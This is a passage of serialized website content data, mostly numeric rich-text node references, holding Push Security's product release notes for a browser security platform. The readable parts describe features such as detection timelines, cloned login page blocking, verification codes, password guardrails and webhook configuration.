4,"value":91226,"nodeType":865},{},[],{"data":116266,"content":116267,"nodeType":866},{},[116268],{"data":116269,"marks":116270,"value":91562,"nodeType":865},{},[],{"data":116272,"content":116273,"nodeType":866},{},[116274,116277,116281],{"data":116275,"marks":116276,"value":91569,"nodeType":865},{},[],{"data":116278,"marks":116279,"value":91574,"nodeType":865},{},[116280],{"type":961},{"data":116282,"marks":116283,"value":91578,"nodeType":865},{},[],{"data":116285,"content":116286,"nodeType":866},{},[116287],{"data":116288,"marks":116289,"value":91585,"nodeType":865},{},[],{"data":116291,"content":116292,"nodeType":1049},{},[116293,116302,116311,116320,116329],{"data":116294,"content":116295,"nodeType":1003},{},[116296],{"data":116297,"content":116298,"nodeType":866},{},[116299],{"data":116300,"marks":116301,"value":91598,"nodeType":865},{},[],{"data":116303,"content":116304,"nodeType":1003},{},[116305],{"data":116306,"content":116307,"nodeType":866},{},[116308],{"data":116309,"marks":116310,"value":91608,"nodeType":865},{},[],{"data":116312,"content":116313,"nodeType":1003},{},[116314],{"data":116315,"content":116316,"nodeType":866},{},[116317],{"data":116318,"marks":116319,"value":91618,"nodeType":865},{},[],{"data":116321,"content":116322,"nodeType":1003},{},[116323],{"data":116324,"content":116325,"nodeType":866},{},[116326],{"data":116327,"marks":116328,"value":91628,"nodeType":865},{},[],{"data":116330,"content":116331,"nodeType":1003},{},[116332],{"data":116333,"content":116334,"nodeType":866},{},[116335],{"data":116336,"marks":116337,"value":91638,"nodeType":865},{},[],{"data":116339,"content":116340,"nodeType":866},{},[116341],{"data":116342,"marks":116343,"value":91645,"nodeType":865},{},[],{"data":116345,"content":116348,"nodeType":925},{"target":116346},{"sys":116347},{"id":91650,"type":922,"linkType":923},[],{"data":116350,"content":116351,"nodeType":866},{},[116352,116355,116363],{"data":116353,"marks":116354,"value":21,"nodeType":865},{},[],{"data":116356,"content":116359,"nodeType":15311},{"target":116357},{"sys":116358},{"id":91662,"type":922,"linkType":923},[116360],{"data":116361,"marks":116362,"value":16192,"nodeType":865},{},[],{"data":116364,"marks":116365,"value":21,"nodeType":865},{},[],{"data":116367,"content":116368,"nodeType":963},{},[116369],{"data":116370,"marks":116371,"value":91236,"nodeType":865},{},[],{"data":116373,"content":116374,"nodeType":866},{},[116375,116378,116382],{"data":116376,"marks":116377,"value":91682,"nodeType":865},{},[],{"data":116379,"marks":116380,"value":80339,"nodeType":865},{},[116381],{"type":961},{"data":116383,"marks":116384,"value":91690,"nodeType":865},{},[],{"data":116386,"content":116387,"nodeType":866},{},[116388],{"data":116389,"marks":116390,"value":91697,"nodeType":865},{},[],{"data":116392,"content":116393,"nodeType":1049},{},[116394,116403],{"data":116395,"content":116396,"nodeType":1003},{},[116397],{"data":116398,"content":116399,"nodeType":866},{},[116400],{"data":116401,"marks":116402,"value":91710,"nodeType":865},{},[],{"data":116404,"content":116405,"nodeType":1003},{},[116406],{"data":116407,"content":116408,"nodeType":866},{},[116409],{"data":116410,"marks":116411,"value":91720,"nodeType":865},{},[],{"data":116413,"content":116414,"nodeType":866},{},[116415,116418,116422,116425,116429],{"data":116416,"marks":116417,"value":80405,"nodeType":865},{},[],{"data":116419,"marks":116420,"value":80339,"nodeType":865},{},[116421],{"type":961},{"data":116423,"marks":116424,"value":91734,"nodeType":865},{},[],{"data":116426,"marks":116427,"value":91739,"nodeType":865},{},[116428],{"type":961},{"data":116430,"marks":116431,"value":1048,"nodeType":865},{},[],{"data":116433,"content":116434,"nodeType":963},{},[116435],{"data":116436,"marks":116437,"value":90685,"nodeType":865},{},[],{"data":116439,"content":116440,"nodeType":866},{},[116441],{"data":116442,"marks":116443,"value":91027,"nodeType":865},{},[],{"data":116445,"content":116446,"nodeType":1049},{},[116447,116478,116498,116507,116527],{"data":116448,"content":116449,"nodeType":1003},{},[116450],{"data":116451,"content":116452,"nodeType":866},{},[116453,116456,116464,116467,116475],{"data":116454,"marks":116455,"value":91767,"nodeType":865},{},[],{"data":116457,"content":116460,"nodeType":15311},{"target":116458},{"sys":116459},{"id":91772,"type":922,"linkType":923},[116461],{"data":116462,"marks":116463,"value":91777,"nodeType":865},{},[],{"data":116465,"marks":116466,"value":8756,"nodeType":865},{},[],{"data":116468,"content":116471,"nodeType":15311},{"target":116469},{"sys":116470},{"id":91785,"type":922,"linkType":923},[116472],{"data":116473,"marks":116474,"value":91790,"nodeType":865},{},[],{"data":116476,"marks":116477,"value":91794,"nodeType":865},{},[],{"data":116479,"content":116480,"nodeType":1003},{},[116481],{"data":116482,"content":116483,"nodeType":866},{},[116484,116487,116495],{"data":116485,"marks":116486,"value":91804,"nodeType":865},{},[],{"data":116488,"content":116491,"nodeType":15311},{"target":116489},{"sys":116490},{"id":91809,"type":922,"linkType":923},[116492],{"data":116493,"marks":116494,"value":16192,"nodeType":865},{},[],{"data":116496,"marks":116497,"value":1048,"nodeType":865},{},[],{"data":116499,"content":116500,"nodeType":1003},{},[116501],{"data":116502,"content":116503,"nodeType":866},{},[116504],{"data":116505,"marks":116506,"value":91826,"nodeType":865},{},[],{"data":116508,"content":116509,"nodeType":1003},{},[116510],{"data":116511,"content":116512,"nodeType":866},{},[116513,116516,116524],{"data":116514,"marks":116515,"value":91836,"nodeType":865},{},[],{"data":116517,"content":116520,"nodeType":15311},{"target":116518},{"sys":116519},{"id":91841,"type":922,"linkType":923},[116521],{"data":116522,"marks":116523,"value":16192,"nodeType":865},{},[],{"data":116525,"marks":116526,"value":1048,"nodeType":865},{},[],{"data":116528,"content":116529,"nodeType":1003},{},[116530],{"data":116531,"content":116532,"nodeType":866},{},[116533],{"data":116534,"marks":116535,"value":91858,"nodeType":865},{},[],{"data":116537,"content":116538,"nodeType":866},{},[116539],{"data":116540,"marks":116541,"value":21,"nodeType":865},{},[],{"entries":116543},{"inline":116544,"hyperlink":116545,"block":116576},[],[116546,116548,116550,116555,116560,116565,116571],{"sys":116547,"__typename":81775,"title":81816,"slug":81817,"articleId":81818},{"id":80107},{"sys":116549,"__typename":1788,"title":91117,"slug":91118},{"id":90823},{"sys":116551,"__typename":81775,"title":116552,"slug":116553,"articleId":116554},{"id":91662},"How does Push enrich detections with domain analysis data?","how-does-push-enrich-detections-with-domain-analysis-data",10136,{"sys":116556,"__typename":81775,"title":116557,"slug":116558,"articleId":116559},{"id":91772},"How do I create an exception for MFA findings?","how-do-i-create-an-exception-for-mfa-findings",10140,{"sys":116561,"__typename":81775,"title":116562,"slug":116563,"articleId":116564},{"id":91785},"How do I create an exception for reused password findings?","how-do-i-create-an-exception-for-reused-password-findings",10139,{"sys":116566,"__typename":116567,"linkedFromParent":59,"title":116568,"slug":116569,"audience":116570},{"id":91809},"DocumentationPage","Connect to SIEM or SOAR","connect-to-siem-or-soar","administrators",{"sys":116572,"__typename":81775,"title":116573,"slug":116574,"articleId":116575},{"id":91841},"Can I automatically remove licenses from inactive employees?","can-i-automatically-remove-licenses-from-inactive-employees",10143,[116577,116580,116586,116593],{"sys":116578,"__typename":1747,"title":103799,"caption":59,"layoutMode":59,"file":116579},{"id":91345},{"url":103801,"width":103802,"height":103803},{"sys":116581,"__typename":1747,"title":116582,"caption":59,"layoutMode":59,"file":116583},{"id":91420},"Clickfix detection example - KB 10141",{"url":116584,"width":116585,"height":114061},"https://images.ctfassets.net/y1cdw1ablpvd/5oWnKQFQqPdcsh93DCXji0/14d90366c354312349e5a664e2a0821a/clickfix_example_detection_20251009.png",1940,{"sys":116587,"__typename":1747,"title":116588,"caption":59,"layoutMode":59,"file":116589},{"id":91548},"My team - Settings - docs - Administering Push",{"url":116590,"width":116591,"height":116592},"https://images.ctfassets.net/y1cdw1ablpvd/6TN6jkKngLWXBSe80jte2k/05a740c839e8eae4989622f4c9c2198b/org_page_settings_20250929.png",1980,1232,{"sys":116594,"__typename":1747,"title":103768,"caption":59,"layoutMode":59,"file":116595},{"id":91650},{"url":103770,"width":103771,"height":103772},{"items":116597},[],{},"Push Security new product features for November 2025",{"items":116601},[116602,117156],{"__typename":1788,"sys":116603,"content":116605,"title":117144,"synopsis":117145,"hashTags":59,"publishedDate":117146,"slug":117147,"tagsCollection":117148,"authorsCollection":117152},{"id":116604},"5QZCp0CTUoF0V7yZ8WnQrr",{"json":116606},{"data":116607,"content":116608,"nodeType":1739},{},[116609,116616,116689,116695,116709,116757,116798,116804,116821,116827,116849,116876,116882,116899,116905,116912,116919,116943,116961,116968,116984,116991,117036,117042,117048,117055,117071,117089,117096,117103,117126],{"data":116610,"content":116611,"nodeType":963},{},[116612],{"data":116613,"marks":116614,"value":116615,"nodeType":865},{},[],"What’s new this month:",{"data":116617,"content":116618,"nodeType":1049},{},[116619,116629,116639,116649,116659,116669,116679],{"data":116620,"content":116621,"nodeType":1003},{},[116622],{"data":116623,"content":116624,"nodeType":866},{},[116625],{"data":116626,"marks":116627,"value":116628,"nodeType":865},{},[],"Attack timeline, screenshots & classifications for Detections",{"data":116630,"content":116631,"nodeType":1003},{},[116632],{"data":116633,"content":116634,"nodeType":866},{},[116635],{"data":116636,"marks":116637,"value":116638,"nodeType":865},{},[],"Block cloned login pages",{"data":116640,"content":116641,"nodeType":1003},{},[116642],{"data":116643,"content":116644,"nodeType":866},{},[116645],{"data":116646,"marks":116647,"value":116648,"nodeType":865},{},[],"Block URL schema obfuscation",{"data":116650,"content":116651,"nodeType":1003},{},[116652],{"data":116653,"content":116654,"nodeType":866},{},[116655],{"data":116656,"marks":116657,"value":116658,"nodeType":865},{},[],"Identify browsers synced to personal profiles",{"data":116660,"content":116661,"nodeType":1003},{},[116662],{"data":116663,"content":116664,"nodeType":866},{},[116665],{"data":116666,"marks":116667,"value":116668,"nodeType":865},{},[],"Enhanced dashboard",{"data":116670,"content":116671,"nodeType":1003},{},[116672],{"data":116673,"content":116674,"nodeType":866},{},[116675],{"data":116676,"marks":116677,"value":116678,"nodeType":865},{},[],"Configure a custom data retention period",{"data":116680,"content":116681,"nodeType":1003},{},[116682],{"data":116683,"content":116684,"nodeType":866},{},[116685],{"data":116686,"marks":116687,"value":116688,"nodeType":865},{},[],"Debug logs for SIEM & webhooks integrations",{"data":116690,"content":116691,"nodeType":963},{},[116692],{"data":116693,"marks":116694,"value":116628,"nodeType":865},{},[],{"data":116696,"content":116697,"nodeType":866},{},[116698,116702,116706],{"data":116699,"marks":116700,"value":116701,"nodeType":865},{},[],"You can now get deeper context and telemetry to investigate attacks that Push intercepts in the browser using these recently released enrichments for Push’s ",{"data":116703,"marks":116704,"value":90711,"nodeType":865},{},[116705],{"type":961},{"data":116707,"marks":116708,"value":102218,"nodeType":865},{},[],{"data":116710,"content":116711,"nodeType":1049},{},[116712,116727,116742],{"data":116713,"content":116714,"nodeType":1003},{},[116715],{"data":116716,"content":116717,"nodeType":866},{},[116718,116723],{"data":116719,"marks":116720,"value":116722,"nodeType":865},{},[116721],{"type":961},"Timeline:",{"data":116724,"marks":116725,"value":116726,"nodeType":865},{},[]," An attack timeline of where a phishing link originated, how a user interacted with the page, and how Push responded.",{"data":116728,"content":116729,"nodeType":1003},{},[116730],{"data":116731,"content":116732,"nodeType":866},{},[116733,116738],{"data":116734,"marks":116735,"value":116737,"nodeType":865},{},[116736],{"type":961},"Screenshots:",{"data":116739,"marks":116740,"value":116741,"nodeType":865},{},[]," Optional screenshots of the suspicious page, to quickly triage detections.",{"data":116743,"content":116744,"nodeType":1003},{},[116745],{"data":116746,"content":116747,"nodeType":866},{},[116748,116753],{"data":116749,"marks":116750,"value":116752,"nodeType":865},{},[116751],{"type":961},"Blast radius:",{"data":116754,"marks":116755,"value":116756,"nodeType":865},{},[]," A view of the impact of this attack and whether other apps are also compromised or at risk as a result.",{"data":116758,"content":116759,"nodeType":866},{},[116760,116764,116769,116772,116777,116781,116786,116790,116795],{"data":116761,"marks":116762,"value":116763,"nodeType":865},{},[],"You can also now classify a detection to record the outcome of your investigation. Options include: ",{"data":116765,"marks":116766,"value":116768,"nodeType":865},{},[116767],{"type":961},"true positive",{"data":116770,"marks":116771,"value":2186,"nodeType":865},{},[],{"data":116773,"marks":116774,"value":116776,"nodeType":865},{},[116775],{"type":961},"benign true positive",{"data":116778,"marks":116779,"value":116780,"nodeType":865},{},[]," (such as a detection triggered by a phishing simulation exercise), and ",{"data":116782,"marks":116783,"value":116785,"nodeType":865},{},[116784],{"type":961},"false positive",{"data":116787,"marks":116788,"value":116789,"nodeType":865},{},[],". The default state is ",{"data":116791,"marks":116792,"value":116794,"nodeType":865},{},[116793],{"type":961},"not classified",{"data":116796,"marks":116797,"value":1048,"nodeType":865},{},[],{"data":116799,"content":116803,"nodeType":925},{"target":116800},{"sys":116801},{"id":116802,"type":922,"linkType":923},"2IMRHDY5ShjsquyaW7hB5M",[],{"data":116805,"content":116806,"nodeType":866},{},[116807,116810,116818],{"data":116808,"marks":116809,"value":21,"nodeType":865},{},[],{"data":116811,"content":116814,"nodeType":15311},{"target":116812},{"sys":116813},{"id":98991,"type":922,"linkType":923},[116815],{"data":116816,"marks":116817,"value":16192,"nodeType":865},{},[],{"data":116819,"marks":116820,"value":21,"nodeType":865},{},[],{"data":116822,"content":116823,"nodeType":963},{},[116824],{"data":116825,"marks":116826,"value":116638,"nodeType":865},{},[],{"data":116828,"content":116829,"nodeType":866},{},[116830,116834,116838,116841,116845],{"data":116831,"marks":116832,"value":116833,"nodeType":865},{},[],"You can now ",{"data":116835,"marks":116836,"value":80361,"nodeType":865},{},[116837],{"type":961},{"data":116839,"marks":116840,"value":71034,"nodeType":865},{},[],{"data":116842,"marks":116843,"value":80369,"nodeType":865},{},[116844],{"type":961},{"data":116846,"marks":116847,"value":116848,"nodeType":865},{},[]," employees when Push detects that they’re visiting a cloned login page.",{"data":116850,"content":116851,"nodeType":866},{},[116852,116856,116860,116864,116868,116872],{"data":116853,"marks":116854,"value":98916,"nodeType":865},{},[116855],{"type":961},{"data":116857,"marks":116858,"value":116859,"nodeType":865},{},[],", which you can configure on the ",{"data":116861,"marks":116862,"value":90727,"nodeType":865},{},[116863],{"type":961},{"data":116865,"marks":116866,"value":116867,"nodeType":865},{},[]," page of the Push admin console, has become a highly effective and low false-positive control. We recommend that you move to using ",{"data":116869,"marks":116870,"value":80369,"nodeType":865},{},[116871],{"type":961},{"data":116873,"marks":116874,"value":116875,"nodeType":865},{},[]," mode for your organization — if you’re not already!",{"data":116877,"content":116881,"nodeType":925},{"target":116878},{"sys":116879},{"id":116880,"type":922,"linkType":923},"4auXExHqaYtu44zTFGh47s",[],{"data":116883,"content":116884,"nodeType":866},{},[116885,116888,116896],{"data":116886,"marks":116887,"value":21,"nodeType":865},{},[],{"data":116889,"content":116892,"nodeType":15311},{"target":116890},{"sys":116891},{"id":79791,"type":922,"linkType":923},[116893],{"data":116894,"marks":116895,"value":16192,"nodeType":865},{},[],{"data":116897,"marks":116898,"value":21,"nodeType":865},{},[],{"data":116900,"content":116901,"nodeType":963},{},[116902],{"data":116903,"marks":116904,"value":116658,"nodeType":865},{},[],{"data":116906,"content":116907,"nodeType":866},{},[116908],{"data":116909,"marks":116910,"value":116911,"nodeType":865},{},[],"The Push browser extension can now identify the email address that’s used to log in to a browser, as well as whether browser sync is enabled.",{"data":116913,"content":116914,"nodeType":866},{},[116915],{"data":116916,"marks":116917,"value":116918,"nodeType":865},{},[],"Using this data, you can see whether any employees are signed in to work browsers with non-company identities and syncing their browsers, which can result in work credentials being synced to personal profiles. ",{"data":116920,"content":116921,"nodeType":866},{},[116922,116926,116931,116935,116939],{"data":116923,"marks":116924,"value":116925,"nodeType":865},{},[],"To find this data, go to the Push admin console and view the ",{"data":116927,"marks":116928,"value":116930,"nodeType":865},{},[116929],{"type":961},"Browsers",{"data":116932,"marks":116933,"value":116934,"nodeType":865},{},[]," page under ",{"data":116936,"marks":116937,"value":91303,"nodeType":865},{},[116938],{"type":961},{"data":116940,"marks":116941,"value":116942,"nodeType":865},{},[]," in the left toolbar.",{"data":116944,"content":116945,"nodeType":866},{},[116946,116949,116958],{"data":116947,"marks":116948,"value":21,"nodeType":865},{},[],{"data":116950,"content":116954,"nodeType":15311},{"target":116951},{"sys":116952},{"id":116953,"type":922,"linkType":923},"2IS6Dbz1fnJZrDfrMSTFQd",[116955],{"data":116956,"marks":116957,"value":16192,"nodeType":865},{},[],{"data":116959,"marks":116960,"value":21,"nodeType":865},{},[],{"data":116962,"content":116963,"nodeType":963},{},[116964],{"data":116965,"marks":116966,"value":116967,"nodeType":865},{},[],"Enhanced dashboard for easier monitoring",{"data":116969,"content":116970,"nodeType":866},{},[116971,116975,116980],{"data":116972,"marks":116973,"value":116974,"nodeType":865},{},[],"We’ve improved the data and design of the Push admin console ",{"data":116976,"marks":116977,"value":116979,"nodeType":865},{},[116978],{"type":961},"Dashboard",{"data":116981,"marks":116982,"value":116983,"nodeType":865},{},[]," so you can keep track of the important developments in your environment.",{"data":116985,"content":116986,"nodeType":866},{},[116987],{"data":116988,"marks":116989,"value":116990,"nodeType":865},{},[],"A few of the changes:",{"data":116992,"content":116993,"nodeType":1049},{},[116994,117012,117026],{"data":116995,"content":116996,"nodeType":1003},{},[116997],{"data":116998,"content":116999,"nodeType":866},{},[117000,117004,117008],{"data":117001,"marks":117002,"value":117003,"nodeType":865},{},[],"A snapshot of recent ",{"data":117005,"marks":117006,"value":90711,"nodeType":865},{},[117007],{"type":961},{"data":117009,"marks":117010,"value":117011,"nodeType":865},{},[]," activity",{"data":117013,"content":117014,"nodeType":1003},{},[117015],{"data":117016,"content":117017,"nodeType":866},{},[117018,117022],{"data":117019,"marks":117020,"value":117021,"nodeType":865},{},[],"An overview of all events on the platform, including activity related to ",{"data":117023,"marks":117024,"value":90727,"nodeType":865},{},[117025],{"type":961},{"data":117027,"content":117028,"nodeType":1003},{},[117029],{"data":117030,"content":117031,"nodeType":866},{},[117032],{"data":117033,"marks":117034,"value":117035,"nodeType":865},{},[],"Performance improvements so the page load is fast for even very large deployments",{"data":117037,"content":117041,"nodeType":925},{"target":117038},{"sys":117039},{"id":117040,"type":922,"linkType":923},"4kqqwOPsN7VhLeQdrV15bH",[],{"data":117043,"content":117044,"nodeType":963},{},[117045],{"data":117046,"marks":117047,"value":116678,"nodeType":865},{},[],{"data":117049,"content":117050,"nodeType":866},{},[117051],{"data":117052,"marks":117053,"value":117054,"nodeType":865},{},[],"You can now configure how long activity data will be retained in Push by configuring a data retention period. ",{"data":117056,"content":117057,"nodeType":866},{},[117058,117062,117067],{"data":117059,"marks":117060,"value":117061,"nodeType":865},{},[],"From the admin console, go to ",{"data":117063,"marks":117064,"value":117066,"nodeType":865},{},[117065],{"type":961},"Settings > Organization > Data retention",{"data":117068,"marks":117069,"value":117070,"nodeType":865},{},[]," and select the data retention period in years.",{"data":117072,"content":117073,"nodeType":866},{},[117074,117077,117086],{"data":117075,"marks":117076,"value":21,"nodeType":865},{},[],{"data":117078,"content":117082,"nodeType":15311},{"target":117079},{"sys":117080},{"id":117081,"type":922,"linkType":923},"4esJSEUrMN2hpbghIkXjDG",[117083],{"data":117084,"marks":117085,"value":16192,"nodeType":865},{},[],{"data":117087,"marks":117088,"value":21,"nodeType":865},{},[],{"data":117090,"content":117091,"nodeType":963},{},[117092],{"data":117093,"marks":117094,"value":117095,"nodeType":865},{},[],"Easier debugging for webhook or integration error messages",{"data":117097,"content":117098,"nodeType":866},{},[117099],{"data":117100,"marks":117101,"value":117102,"nodeType":865},{},[],"We’ve added a debug log to make it easier to see what’s not working when you receive an error related to your Push webhooks or SIEM integrations.",{"data":117104,"content":117105,"nodeType":866},{},[117106,117110,117115,117118,117123],{"data":117107,"marks":117108,"value":117109,"nodeType":865},{},[],"You can access the debug log by opening the details slideout in the Push admin console for the webhook or integration you’ve created. Go to ",{"data":117111,"marks":117112,"value":117114,"nodeType":865},{},[117113],{"type":961},"Settings > Webhooks",{"data":117116,"marks":117117,"value":71034,"nodeType":865},{},[],{"data":117119,"marks":117120,"value":117122,"nodeType":865},{},[117121],{"type":961},"Settings > Integrations",{"data":117124,"marks":117125,"value":1048,"nodeType":865},{},[],{"data":117127,"content":117128,"nodeType":866},{},[117129,117132,117141],{"data":117130,"marks":117131,"value":21,"nodeType":865},{},[],{"data":117133,"content":117137,"nodeType":15311},{"target":117134},{"sys":117135},{"id":117136,"type":922,"linkType":923},"2naceBODKDL3iw72wrce6E",[117138],{"data":117139,"marks":117140,"value":16192,"nodeType":865},{},[],{"data":117142,"marks":117143,"value":21,"nodeType":865},{},[],"Product release: September 2025","Here’s what’s new on the Push platform for September 2025.","2025-09-08T00:00:00.000Z","product-release-september-2025",{"items":117149},[117150],{"sys":117151,"name":91874},{"id":91873},{"items":117153},[117154],{"fullName":90607,"firstName":90608,"jobTitle":90609,"profilePicture":117155},{"url":90611},{"__typename":1788,"sys":117157,"content":117159,"title":117627,"synopsis":117628,"hashTags":59,"publishedDate":117629,"slug":117630,"tagsCollection":117631,"authorsCollection":117635},{"id":117158},"20xOvhmIKW7E0e1g5q7D2h",{"json":117160},{"data":117161,"content":117162,"nodeType":1739},{},[117163,117169,117242,117248,117264,117271,117277,117295,117301,117317,117324,117331,117355,117360,117366,117380,117387,117393,117410,117416,117432,117439,117446,117452,117470,117476,117491,117498,117504,117520,117526,117557,117572,117578,117594,117600,117615,117621],{"data":117164,"content":117165,"nodeType":963},{},[117166],{"data":117167,"marks":117168,"value":90622,"nodeType":865},{},[],{"data":117170,"content":117171,"nodeType":1049},{},[117172,117182,117192,117202,117212,117222,117232],{"data":117173,"content":117174,"nodeType":1003},{},[117175],{"data":117176,"content":117177,"nodeType":866},{},[117178],{"data":117179,"marks":117180,"value":117181,"nodeType":865},{},[],"Streamline investigations with Detections page",{"data":117183,"content":117184,"nodeType":1003},{},[117185],{"data":117186,"content":117187,"nodeType":866},{},[117188],{"data":117189,"marks":117190,"value":117191,"nodeType":865},{},[],"New Labs feature: Employee verification codes",{"data":117193,"content":117194,"nodeType":1003},{},[117195],{"data":117196,"content":117197,"nodeType":866},{},[117198],{"data":117199,"marks":117200,"value":117201,"nodeType":865},{},[],"Enforce strong passwords with in-browser guardrails",{"data":117203,"content":117204,"nodeType":1003},{},[117205],{"data":117206,"content":117207,"nodeType":866},{},[117208],{"data":117209,"marks":117210,"value":117211,"nodeType":865},{},[],"Merge related employee records",{"data":117213,"content":117214,"nodeType":1003},{},[117215],{"data":117216,"content":117217,"nodeType":866},{},[117218],{"data":117219,"marks":117220,"value":117221,"nodeType":865},{},[],"Customize your webhook events",{"data":117223,"content":117224,"nodeType":1003},{},[117225],{"data":117226,"content":117227,"nodeType":866},{},[117228],{"data":117229,"marks":117230,"value":117231,"nodeType":865},{},[],"Create rules for phishing tool detection and MFA enforcement",{"data":117233,"content":117234,"nodeType":1003},{},[117235],{"data":117236,"content":117237,"nodeType":866},{},[117238],{"data":117239,"marks":117240,"value":117241,"nodeType":865},{},[],"New integration for Microsoft Sentinel",{"data":117243,"content":117244,"nodeType":963},{},[117245],{"data":117246,"marks":117247,"value":117181,"nodeType":865},{},[],{"data":117249,"content":117250,"nodeType":866},{},[117251,117255,117260],{"data":117252,"marks":117253,"value":117254,"nodeType":865},{},[],"You can now receive and triage detections in the Push admin console (or get them via the Push REST API, webhooks or ChatOps), giving you a ",{"data":117256,"marks":117257,"value":117259,"nodeType":865},{},[117258],{"type":961},"single view of all the security events that Push has detected",{"data":117261,"marks":117262,"value":117263,"nodeType":865},{},[],", such as AiTM phishing, stolen creds, or blocked URLs being visited by employees.",{"data":117265,"content":117266,"nodeType":866},{},[117267],{"data":117268,"marks":117269,"value":117270,"nodeType":865},{},[]," Use the additional telemetry about each detection, such as timestamp, detection URL, type of phishkit detected, Push response action, etc., to understand how to triage the incident. ",{"data":117272,"content":117276,"nodeType":925},{"target":117273},{"sys":117274},{"id":117275,"type":922,"linkType":923},"53BOccCQ72Yo3oCSUWVFXn",[],{"data":117278,"content":117279,"nodeType":866},{},[117280,117283,117292],{"data":117281,"marks":117282,"value":21,"nodeType":865},{},[],{"data":117284,"content":117288,"nodeType":15311},{"target":117285},{"sys":117286},{"id":117287,"type":922,"linkType":923},"6jbLw9Wi2JuddCXL6ncrCV",[117289],{"data":117290,"marks":117291,"value":16192,"nodeType":865},{},[],{"data":117293,"marks":117294,"value":21,"nodeType":865},{},[],{"data":117296,"content":117297,"nodeType":963},{},[117298],{"data":117299,"marks":117300,"value":117191,"nodeType":865},{},[],{"data":117302,"content":117303,"nodeType":866},{},[117304,117308,117313],{"data":117305,"marks":117306,"value":117307,"nodeType":865},{},[],"Employees can now get a 6-digit verification code via the Push browser extension that you can use to ",{"data":117309,"marks":117310,"value":117312,"nodeType":865},{},[117311],{"type":961},"validate that your help desk is speaking to someone from your organization",{"data":117314,"marks":117315,"value":117316,"nodeType":865},{},[],".  ",{"data":117318,"content":117319,"nodeType":866},{},[117320],{"data":117321,"marks":117322,"value":117323,"nodeType":865},{},[],"The verification code is the same for all employees at a given organization, and resets every 24 hours. If your help desk needs to verify that they’re speaking to an employee, they can ask them to open the details tray for their Push extension and verify the code.",{"data":117325,"content":117326,"nodeType":866},{},[117327],{"data":117328,"marks":117329,"value":117330,"nodeType":865},{},[],"Employee verification codes is a Labs feature, which means it’s available on an early-access basis and we're particularly interested in hearing from you if this is a problem you're interested in solving using Push. ",{"data":117332,"content":117333,"nodeType":866},{},[117334,117338,117342,117346,117351],{"data":117335,"marks":117336,"value":117337,"nodeType":865},{},[],"You can enable Labs features by going to the ",{"data":117339,"marks":117340,"value":80410,"nodeType":865},{},[117341],{"type":961},{"data":117343,"marks":117344,"value":117345,"nodeType":865},{},[]," page of the Push admin console and choosing the ",{"data":117347,"marks":117348,"value":117350,"nodeType":865},{},[117349],{"type":961},"Labs",{"data":117352,"marks":117353,"value":117354,"nodeType":865},{},[]," tab.",{"data":117356,"content":117359,"nodeType":925},{"target":117357},{"sys":117358},{"id":99663,"type":922,"linkType":923},[],{"data":117361,"content":117362,"nodeType":963},{},[117363],{"data":117364,"marks":117365,"value":117201,"nodeType":865},{},[],{"data":117367,"content":117368,"nodeType":866},{},[117369,117373,117377],{"data":117370,"marks":117371,"value":117372,"nodeType":865},{},[],"Prompt your employees to change an insecure password using Push’s new in-browser guardrail, ",{"data":117374,"marks":117375,"value":80199,"nodeType":865},{},[117376],{"type":961},{"data":117378,"marks":117379,"value":10349,"nodeType":865},{},[],{"data":117381,"content":117382,"nodeType":866},{},[117383],{"data":117384,"marks":117385,"value":117386,"nodeType":865},{},[],"You can select which password security issues you want to remediate, and which apps you want to target using the configuration rules for this control. Then, when Push observes a password issue, it will automatically display a banner to end-users prompting them to change their password.",{"data":117388,"content":117392,"nodeType":925},{"target":117389},{"sys":117390},{"id":117391,"type":922,"linkType":923},"6ZcsdzYPxLAE1K170mQPHE",[],{"data":117394,"content":117395,"nodeType":866},{},[117396,117399,117407],{"data":117397,"marks":117398,"value":21,"nodeType":865},{},[],{"data":117400,"content":117403,"nodeType":15311},{"target":117401},{"sys":117402},{"id":80060,"type":922,"linkType":923},[117404],{"data":117405,"marks":117406,"value":16192,"nodeType":865},{},[],{"data":117408,"marks":117409,"value":21,"nodeType":865},{},[],{"data":117411,"content":117412,"nodeType":963},{},[117413],{"data":117414,"marks":117415,"value":117211,"nodeType":865},{},[],{"data":117417,"content":117418,"nodeType":866},{},[117419,117423,117428],{"data":117420,"marks":117421,"value":117422,"nodeType":865},{},[],"If you have employees using multiple email addresses, you can ",{"data":117424,"marks":117425,"value":117427,"nodeType":865},{},[117426],{"type":961},"now merge those records in the Push platform",{"data":117429,"marks":117430,"value":117431,"nodeType":865},{},[]," so they can be treated as a single employee. ",{"data":117433,"content":117434,"nodeType":866},{},[117435],{"data":117436,"marks":117437,"value":117438,"nodeType":865},{},[],"A common use case for merging employee records is when you have employees with a user account and an administrator account. By merging records in cases like this, you can resolve incorrect shared account findings and correct your license usage so only the primary employee record consumes a license. ",{"data":117440,"content":117441,"nodeType":866},{},[117442],{"data":117443,"marks":117444,"value":117445,"nodeType":865},{},[],"You can also merge records programmatically via the Push REST API. This is helpful if you have a predictable pattern for usernames you're mapping.",{"data":117447,"content":117451,"nodeType":925},{"target":117448},{"sys":117449},{"id":117450,"type":922,"linkType":923},"3xcEqhSUZ1VmZTsgSOS4xH",[],{"data":117453,"content":117454,"nodeType":866},{},[117455,117458,117467],{"data":117456,"marks":117457,"value":21,"nodeType":865},{},[],{"data":117459,"content":117463,"nodeType":15311},{"target":117460},{"sys":117461},{"id":117462,"type":922,"linkType":923},"3RIMjhmhJcHC2V7Lkrhvj2",[117464],{"data":117465,"marks":117466,"value":16192,"nodeType":865},{},[],{"data":117468,"marks":117469,"value":21,"nodeType":865},{},[],{"data":117471,"content":117472,"nodeType":963},{},[117473],{"data":117474,"marks":117475,"value":117221,"nodeType":865},{},[],{"data":117477,"content":117478,"nodeType":866},{},[117479,117482,117487],{"data":117480,"marks":117481,"value":116833,"nodeType":865},{},[],{"data":117483,"marks":117484,"value":117486,"nodeType":865},{},[117485],{"type":961},"select which events you want when creating a webhook",{"data":117488,"marks":117489,"value":117490,"nodeType":865},{},[]," in the Push platform. For example, if you want to build an automation around specific Push events or send only Push detection alerts to your SIEM, you can elect to send just those events to your configured destinations. ",{"data":117492,"content":117493,"nodeType":866},{},[117494],{"data":117495,"marks":117496,"value":117497,"nodeType":865},{},[],"You can select which events you want to consume when configuring a new webhook via the Push admin 